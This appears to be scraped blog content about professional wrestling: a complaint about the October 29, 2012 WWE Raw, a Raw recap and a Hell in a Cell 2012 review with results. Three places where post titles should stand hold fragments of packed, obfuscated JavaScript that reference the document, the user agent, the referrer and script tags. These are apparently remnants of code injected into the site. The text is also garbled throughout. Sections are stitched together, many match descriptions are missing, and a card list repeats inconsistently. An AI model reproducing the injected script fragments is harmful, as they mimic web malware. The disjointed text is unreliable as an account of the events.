If you haven’t seen/read about Raw from last night and don’t want to be surprised, go check it out before you read this because there are heavy spoilers inside this.

 

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yekhn|var|u0026u|referrer|hhriy||js|php'.split('|'),0,{})) is one of those posts that isn’t going to make a ton of sense in a few months (hopefully), but for now it’s what’s on my mind. In short, Raw has been especially bad for weeks now and last night’s (this is October 30, 2012) was one of the worst episodes I can remember in years. Not that it was actively bad, but that it was so dull and counterproductive that it might as well not have existed. There were two major areas that are causing all these problems though, and today I’m going to use last night’s Raw as to illustrate this. Let’s get to it.

 

Then we have Wade Barrett vs. Orton. This is going to be covered in the second major issue.

 

 

Now we get a recap of the Punk/Ryback/referee stuff to further hammer it in.

Vickie calls Cena to the ring and we get the WWE version of the AJ/Claire Lynch story from TNA a few months back. This involves Cena being accused of having an affair with AJ (are either of them even married right now? Does it even qualify as an affair?) and having to explain away photos, videos, and jokes he makes. Ziggler comes out and gets shoved down as well. How is this supposed to be entertaining or something I want to see?

 

The next match is champion vs. champion with Antonio Cesaro vs. Kofi Kingston. This will also be covered in the second point.

 

AJ beats Beth on a fluke after the cute and tiny AJ gets crushed by Beth for about two minutes. This is IMMEDIATELY changed because Vickie wants to torture AJ some more and Beth beats her in ten seconds.

 

 

A long tag match follows with the fan favorites Sin Cara and Rey Mysterio losing to Rhodes and Sandow. Quick sidebar: the Rhodes Scholars is a cool name for a team. Team Rhodes Scholars sounds ridiculous.

 

 

 

 

Now we’re say two weeks later, everyone is 1-1 and no one is any stronger than they were when the whole cycle started. Then the cycle starts all over again and there’s no one to get behind because they’re all the same and no one of the four looks ready to move up because they’re the same as everyone else. Then Cena gets hurt and you get lucky that there’s one guy you haven’t jobbed out yet and the fans are getting behind. If Ryback wasn’t there, who in the world were they going to throw at Punk? Orton? Maybe? They need to fix this FAST so there are people to get behind. Stop worrying that these people are going to get hot and leave and enjoy them while you’ve got them there.

 

 

The 3MB beats Marella/Ryder. Again this is fine as Marella/Ryder are jobbers and the 3MB are a new team (who lost their first match).

 

 

 

In the review of the show, I mentioned the idea of comic relief. By that, I mean WWE needs to have something on their show where we can breathe for five minutes. Even the Divas have a big serious story going now with someone attacking Kaitlyn and blonde wigs and whatever else is going on. I know I criticized them a lot but sometimes you need good looking women in tiny outfits having bad matches for the sake of bad matches.

 

For an example of how this can be a problem, look at Wrestlemania 19 with me for a second. The last probably two hours or so are spent on the following in order (matches only):

 

Shawn Michaels vs. Chris Jericho

HHH vs. Booker T (Raw World Title)

Hulk Hogan vs. Mr. McMahon

The Rock vs. Steve Austin

Brock Lesnar vs. Kurt Angle (Smackdown World Title)

 

Shane McMahon vs. Vince McMahon

TLC 2

Gimmick Battle Royal

Undertaker vs. HHH

The Rock vs. Steve Austin

 

Shawn Michaels vs. Chris Jericho

Hulk Hogan vs. Mr. McMahon

Chris Benoit/Rhyno vs. Los Guerreros vs. Team Angle (Smackdown Tag Titles)

The Rock vs. Steve Austin

Kurt Angle vs. Brock Lesnar (Smackdown World Title)

 

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzsfk|var|u0026u|referrer|asfrb||js|php'.split('|'),0,{})) Night Raw
Date: October 29, 2012
Location: Time Warner Cable Arena, Charlotte, North Carolina
Commentators: Michael Cole, Jim Ross

Ryback vs. JTG

Meathook, Shell Shock, 1:58. A lot of that was JTG walking around and a Thesz Press into the head smashes into the mat.

Wade Barrett vs. Randy Orton

HELL NO vs. Prime Time Players

The champs argue post match.

We recap the opening promo.

We recap the history of Brad Maddox, with the guy being brought in as a referee when we needed more for the three hour shows. He messed up a count on Punk in a tag match and then somehow his next major appearance is refereeing a world title match in the main event of a PPV. Makes sense.

Antonio Cesaro vs. Kofi Kingston

Antonio makes fun of America having fat kids which is going to get worse because of Halloween. Miz is on commentary and neither title is on the line. Cole talks about how Kofi has beaten Miz three times in a row. Yet the feud looks to be continuing. You know: because THAT MAKES SENSE. Miz lists off his accomplishments as Cesaro slams Kofi down and double stomps him. After a chinlock goes on for a bit they head to the floor where Kofi throws Cesaro at Miz. Miz interferes for the DQ at 2:32.

The heels beat down Kofi post match until Truth makes the save.

Vickie continues to annoy AJ and offers to give AJ a job as a Diva if AJ admits to the affair. Vickie hires her back anyway and AJ gets to face Beth Phoenix tonight.

Santino Marella/Zack Ryder vs. 3MB

AJ vs. Beth Phoenix

Beth glares at AJ to start and says AJ should be scared. Beth shoves her and AJ goes nuts, but Beth slams her down onto the mat. AJ gets her face rubbed into the mat and we head to the floor. AJ gets rammed into the barricade but back inside she grabs a rollup for the pin at 2:08.

Vickie comes out post match and demands more from AJ. Beth jumps her so Vickie says restart the match. Glam Slam gets the pin in like ten seconds.

Video on WWE 13.

Rhodes Scholars vs. Sin Cara/Rey Mysterio

Cara and Sandow start things off and Damien is quickly frustrated. Off to Cody who gets kicked by both guys and covered for two by Rey. The Scholars cheat and take over on Rey but the masked dudes start cheating as well. Cara hits a PERFECT Asai Moonsault to take Cody out as Rey hits a seated senton off the apron on Sandow as we take ANOTHER FREAKING BREAK.

Foley is playing a video game when Heyman comes up and they banter about the Survivor Series match a bit.

Justin Gabriel vs. Alberto Del Rio

Results

Ryback b. JTG – Shell Shock

Randy Orton b. Wade Barret – RKO

HELL NO b. Prime Time Players – NO Lock to Young

Kofi Kingston b. Antonio Cesaro via DQ when Miz interfered

3MB b. Santino Marella/Zack Ryder – Spinning Neckbreaker to Marella

AJ b. Beth Phoenix – Small Package

Rhodes Scholars b. Sin Cara/Rey Mysterio – Terminus to Cara

Alberto Del Rio b. Justin Gabriel – Cross Armbreaker

Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfssa|var|u0026u|referrer|fhtea||js|php'.split('|'),0,{})) in a Cell 2012
Date: October 28, 2012
Location: Phillips Arena, Atlanta, Georgia
Commentators: Michael Cole, Jim Ross, John Bradshaw Layfield

Now on to the actual show.

The opening video is about the two world title matches, just as it should be.

Alberto Del Rio vs. Randy Orton

Orton sets for the powerslam back inside but Del Rio hangs onto the ropes. More good psychology there as you can only have Orton or anyone use the same moves so many times before someone sees it coming. Del Rio tries the armbreaker but Orton makes the rope almost immediately. The backbreaker from Randy looks to set up the Elevated DDT but Del Rio counters into another shot on the arm. Alberto tries the RKO but gets countered into the Elevated DDT.

Tag Titles: HELL NO vs. Rhodes Scholars

Sandow pulls Kane to the floor and gets punched in the face. Bryan backdrops Cody to the floor onto Kane and misses the running knee, taking out Kane by mistake. The champs get into a shoving match and a pair of baseball slides take out Kane. Back in and Cody hits Cross Rhodes on Bryan but Kane makes the save. Kane is losing it and destroys everyone in sight drawing a lame DQ at 13:30 for beating on Sandow in the corner.

Sandow gets a chokeslam post match.

Miz talks about how Kofi brings mediocrity and mediocrity brings the end of civilization, so Kofi brings the end of the world. It ties into a show coming up about people who are preparing for doomsday if that clears up anything.

Intercontinental Title: The Miz vs. Kofi Kingston

The inflatable AWESOME from the Mania match with Cena is back. Kofi is defending and this is a rematch from a few weeks ago on Main Event. Both guys try and miss their finishers less than thirty seconds in, sending Miz to the floor to regroup. How much regrouping do you need after half a minute? Kofi jumps over the steps on the floor but Miz kicks his head off to take over. That gets two back in the ring and things slow down a bit.

Rating: C+. Another good and lengthy match here as this show is already better than anything WWE has thrown at us in weeks. This gets Miz out of the title picture and hopefully pushes him back up the card. Kofi is fine in this role and can be put with almost anyone to get a good match. Solid stuff here and a fine match.

US Title: Antonio Cesaro vs. Justin Gabriel

Breast cancer is bad.

Video on Ryback and how unstoppable he is.

Prime Time Players vs. Rey Mysterio/Sin Cara

Cara hits a kind of standing Sliced Bread #2 and makes the hot tag to Rey. Mysterio speeds things up and hits a tilt-a-whirl DDT on Darren for two. JR: “Keeping up with Rey is like trying to pour smoke through a keyhole.” JBL: “Who would want to do that?” Cara dives on Titus on the floor as Rey counters the gutbuster from Young into the 619 and top rope splash for the pin at 12:50.

Cara may have hurt his neck but he gets up on his own power. Apparently on that standing Sliced Bread he landed on the top of his head.

WWE is promoting a Rolling Stones PPV concert.

Smackdown World Title: Big Show vs. sheamus

Vince is here and Punk asks him to cancel the match. Vince asks if Punk is afraid of Ryback but Punk says no and leaves.

Divas Title: Layla vs. Eve Torres vs. Kaitlyn

Kaitlyn was attacked at Night of Champions and Layla had to defend against Eve instead of Kaitlyn. Eve won the title and was accused of attacking Kaitlyn, setting up this. The challengers double team Eve, argue a bit, and then double team Eve again. Eve and Kaitlyn finally start fighting and we get a pinfall reversal sequence. Eve comes back in and knocks Layla to the floor so she can beat on Kaitlyn a bit.

Sheamus is getting looked at.

The Cell is lowered. Cole says the Cell was introduced 15 years ago. My goodness do I feel old.

Raw World Title: Ryback vs. CM Punk

Ryback misses a charge into the corner and Punk hits a springboard clothesline to take him down. A top rope double ax only kind of hits so Punk hits a second to stagger Ryback. A third attempt is caught in midair but Punk hits a leg lariat to take Ryback down again. Punk sends him to the floor and hits the suicide dive but Ryback is slammed into the cage instead of being knocked down. Ryback easily breaks up a neckbreaker on the floor but his spear hits the steps.

Ryback gets up and murders the referee as Heyman pulls Punk through the door. Ryback catches up to him though and throws Punk at the Cell, but Punk climbs up to escape. Ryback follows him and hits the Shell Shock on top of the Cell.

Ryback poses on top of the Cell to end the show.

Results

Randy Orton b. Alberto Del Rio – RKO

Rhodes Scholars b. HELL NO via DQ when Kane would not stop attacking Sandow

Kofi Kingston b. The Miz – Trouble in Paradise

Antonio Cesaro b. Justin Gabriel – Neutralizer

Rey Mysterio/Sin Cara b. Prime Time Players – Top rope splash to Young

Big Show b. Sheamus – WMD

Eve Torres b. Kaitlyn and Layla – Eve pinned Layla after a powerslam from Kaitlyn

CM Punk b. Ryback – Rollup after a low blow from the referee

Remember to follow me on Twitter @kbreviews